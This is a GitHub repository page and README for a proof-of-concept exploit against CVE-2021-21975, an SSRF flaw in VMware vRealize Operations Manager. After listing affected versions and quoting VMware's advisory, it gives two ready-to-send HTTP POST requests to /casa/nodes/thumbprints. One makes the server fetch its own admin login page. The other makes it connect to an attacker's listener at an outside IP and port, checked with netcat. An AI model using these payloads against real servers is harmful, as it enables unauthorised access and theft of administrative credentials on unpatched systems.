https://github.com/al1ex/cve-2021-21975
CVE-2021-21975 vRealize Operations Manager SSRF
https://github.com/al1ex/cve-2021-21975
cve-2021-21975 ssrf vrealize-operations-manager
Last synced: 4 months ago
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CVE-2021-21975 vRealize Operations Manager SSRF
- Host: GitHub
- URL: https://github.com/al1ex/cve-2021-21975
- Owner: Al1ex
- Created: 2021-03-31T15:40:09.000Z (about 5 years ago)
- Default Branch: main
- Last Pushed: 2021-03-31T15:50:27.000Z (about 5 years ago)
- Last Synced: 2025-06-29T09:39:58.673Z (11 months ago)
- Topics: cve-2021-21975, ssrf, vrealize-operations-manager
- Homepage:
- Size: 245 KB
- Stars: 13
- Watchers: 2
- Forks: 7
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
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README
## Impacted Products
- VMware vRealize Operations 8.3.0、8.2.0、8.1.1、8.1.0、7.5.0
- VMware Cloud Foundation 4.x、3.x
- vRealize Suite Lifecycle Manager 8.x
## Description
On March 31, 2021, VMware officially released the risk notice of vmsa-2021-0004. The vulnerability numbers are cve-2021-21975 and cve-2021-21983. The vulnerability level is high risk and the vulnerability score is 8.6.
CVE-2021-21975：A malicious actor with network access to the vRealize Operations Manager API can perform a Server Side Request Forgery attack to steal administrative credentials.
CVE-2021-21983：An authenticated malicious actor with network access to the vRealize Operations Manager API can write files to arbitrary locations on the underlying photon operating system
## Vulnerability
**Step 1**：login out
**Step 2**:After that, visit /casa/nodes/thumbprints and use burpsuite to grab the data packet to construct the following request data packet to make the server request to log in to theauthentication page
```java
POST /casa/nodes/thumbprints HTTP/1.1
Host: 192.168.203.155
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/json;charset=UTF-8
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 36
["127.0.0.1:443/admin/login.action"]
```
**Step 2**: When using dnslog to verify SSRF, it was found that there was no echo for a long time, and then it had no choice but to use NC for verification. The construction request packet is as follows:
```java
POST /casa/nodes/thumbprints HTTP/1.1
Host: 192.168.203.155
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Content-Type: application/json;charset=UTF-8
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 23
["192.168.202.86:4444"]
```
## Reference
https://kb.vmware.com/s/article/83210
https://www.vmware.com/security/advisories/VMSA-2021-0004.html
https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2021/CVE-2021-21975.yaml